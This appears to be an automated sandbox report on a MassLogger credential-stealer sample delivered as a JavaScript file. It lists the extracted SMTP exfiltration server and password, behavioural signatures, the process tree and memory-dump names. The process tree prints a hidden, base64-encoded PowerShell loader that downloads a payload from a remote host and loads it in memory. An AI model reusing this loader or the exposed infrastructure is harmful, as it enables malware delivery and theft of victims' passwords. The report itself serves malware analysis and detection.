Analysis
- max time kernel
149s - max time network
141s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
17/09/2026, 15:07
General
- Target rcc8807811.js
- Size 429KB
- Sample260917-shdxjsfr61
- SHA256 1bf117a026723e42b85660967e41706869ad48a0a799f856f65b0ff34470e90c
Malware Config
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
2025-05-04
-
host_password
UW$fD9cN{/1%Fk%{
-
host_port
587
- host_receiver
- host_sender
-
host_server
mail.miniorangeman.com
-
ssl_slate
True
Signatures
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 TTPs 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\rcc8807811.js1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('KCgnezF9c3RhbmNoZXMgPSB7NH1odHRwczovL3JvdWdoLXRydXRoLWUwNzIucHVibGljZnRwcmVzZW5kLndvcmtlcnMuZGV2L3s0fTsgezF9b3RoZXJuZXNzID0gezR9Qzp7M31Vc2Vyc3szfVB1YmxpY3szfURvd25sb2FkJysnc3szfXBheWxvYWQudHh0ezR9OyB7MX1zcGx1cnQgPSBbYWN0aXZhdG9yXTo6Y3JlYXRlSW5zdGFuY2UoW25ldC53ZWJjbCcrJ2llbnRdKTsgezF9c3BsdXJ0LkhlYWRlJysncnMuQWRkKHs0fVUnKydzZXItQWdlbnR7NH0sIHs0fU1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zJysnNiAoS0hUTUwsJysnIGxpa2UgR2Vja28pIENocm9tZS8xMjAuMC4wLjAgU2FmYXJpLzUzNy4zNns0fSk7IHsxfXNwbHVydC5Eb3dubG9hZEZpbGUoezF9c3RhbmNoZXMsIHsxfW90aGVybmVzcyk7IHsxfWRvZ21hdGljaScrJ3NtID0gKEdlJysndC1Db250ZW50IHsxfW90aGUnKydybmVzcyAtUmF3KTsgezF9YWxyZWFkaW5lcycrJ3MgPSB7MX1kb2dtYXRpYycrJ2lzbS5SZXBsYWNlKHswfSp7MH0sezB9QXswfSk7IHsxfUxheG1pID0gW2NoYXJbXV0oKHsxfWFscmVhZGluZXNzLlRvQ2hhckFycmF5KCkpWyh7MX1hbHJlYWRpbmVzcy5MZW5ndGgtMSkuLjBdKTsnKycgezF9Y2FydGVsID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygtam9pbiB7MX1MYXhtaSk7IFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluLkxvYWQoezF9Y2FyJysndGVsKSB7Mn0gT3V0LU51bGw7IFtXaW4zMi5STVAuYWFhYWFhYV06OmFhYWFhYWFhYWFhKHswfVZPMy9qSEdNUG84Rjl3aDVKa09RNHRMJysnMXlJK0NwYVRlVTRsc2xYcScrJ3BjSkdRQycrJzB1NkVRYUdTeEdNYVU1T01ERnM0S3VnQXVPUGROZE1nTkJNRG1HQ0xBPT17MH0sezB9ezB9JysnLHswfW9HVmlvbVV5UScrJ0JScWJlMXFDUjRRU05aTjBOL1RyQ25QRzF3cVNvaTBDSE51aDg3MElrMmN0L29zZjlDSTMnKydYV1F7MH0sezB9NFRDUkdEbEUvZXN3eHpSNnowU2l6ajVBb2RhQzZzeFd3QnBDd3NzU29BOD17MH0sJysnezB9STAnKyczM0hjV2wwWicrJ3JqWWtWdFRnTktocE0nKyd2enNSdUQvRTdUd0lsai9DSkpnYz17MH0sezB9ezB9LHswfXhUR3JXbnRTT2xPeHBndGJCYnVDN1B4eXlwMUUreWJnRjlJRngyWk5hRzgnKyc9ezB9LHswfXswfSx7MH1JY0FFSkovcjRCR3d1UThSbXh5bnNKa3YyaS9MMUpwVFhUdVF4RHYvSk5rPXswfSx7MH0zVDZxRGp0a2gnKyd4cEtxYkc4cFcydnA4VzhTWHhtL01ZVUxtdVh4VkJKRTZhWU1YVHZtMGdoS2l3MGdPb1FJSC9MezB9LHswfXZsOGpFeml6UllDMGJQakcnKyczQ2FtRVNCdEw2cycrJ0k4RnhzWlFvUm0yZzVaOE09ezB9LHswfXswfSx7MH05cUN6cXMzVmZpZ09BVmNEaUw0JysnRCtPa2hQSnIvZVVBY1haaC9waWVDQ0VJPXswfSx7MH17MH0sezB9RmVyb0xZWHdxekFiaTBQaW5Fd2FaJysnRjJSenBDSXE3b1hDSHRBeHJucEpHYz17MH0sezB9Tk8vNHlocm1uLzNhUGxpOVZSWXNjWDBjUHNHSycrJ2dPUnZYS3N1UjcxRVk0ST17MH0sezB9ezB9LHswfXswfSx7MH17MH0pOyBSZW1vdmUtSXRlbSAtUGF0aCB7MX1vdGhlcm5lc3MgLUZvcmNlIC1FcnJvcicrJ0FjdGlvbiBTaWxlbnRseUNvbnRpbnVlJykgLWYgIFtjaEFyXTM5LFtjaEFyXTM2LFtjaEFyXTEyNCxbY2hBcl05MixbY2hBcl0zNCkgfCAmICggKFtTVFJJbkddJFZlcmJvc0VwUmVGZVJFbmNlKVsxLDNdKydYJy1KT2lOJycp')) } | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2740-121-0x0000000000400000-0x000000000041C000-memory.dmp
memory/2740-133-0x0000000074922000-0x0000000074923000-memory.dmp
memory/2740-132-0x00000000064D0000-0x00000000064DA000-memory.dmp
memory/2740-131-0x0000000006630000-0x00000000067F2000-memory.dmp
memory/2740-130-0x0000000006270000-0x00000000062C0000-memory.dmp
memory/2740-129-0x00000000062C0000-0x0000000006352000-memory.dmp
memory/2740-128-0x0000000005240000-0x00000000052DC000-memory.dmp
memory/2740-126-0x0000000005720000-0x0000000005CDA000-memory.dmp
memory/2740-125-0x0000000074922000-0x0000000074923000-memory.dmp
memory/3268-81-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-9-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp
memory/3268-15-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp
memory/3268-16-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp
memory/3268-17-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp
memory/3268-79-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-88-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-118-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-119-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp
memory/3268-120-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp
memory/3268-116-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-114-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-112-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-110-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-108-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-106-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-104-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-102-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-100-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-98-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-96-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-94-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-92-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-90-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-89-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp
memory/3268-13-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp
memory/3268-124-0x0000017AFB690000-0x0000017AFB7BF000-memory.dmp
memory/3268-12-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp
memory/3268-85-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-83-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-0-0x00007FF97F35F000-0x00007FF97F360000-memory.dmp
memory/3268-78-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-76-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-8-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp
memory/3268-14-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp
memory/3268-127-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp
memory/3268-33-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-66-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-63-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-61-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-59-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-55-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-53-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-51-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-44-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-41-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-39-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-37-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-35-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-73-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-31-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-29-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-27-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-25-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-23-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-21-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-20-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-19-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp
memory/3268-72-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-69-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-67-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-57-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-7-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp
memory/3268-6-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp
memory/3268-49-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-47-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-45-0x0000017AFB630000-0x0000017AFB65A000-memory.dmp
memory/3268-18-0x0000017AFB630000-0x0000017AFB660000-memory.dmp
memory/3268-5-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp
memory/3268-4-0x0000017AFB570000-0x0000017AFB592000-memory.dmp
memory/3268-1-0x00007FF97F1D0000-0x00007FF97FB74000-memory.dmp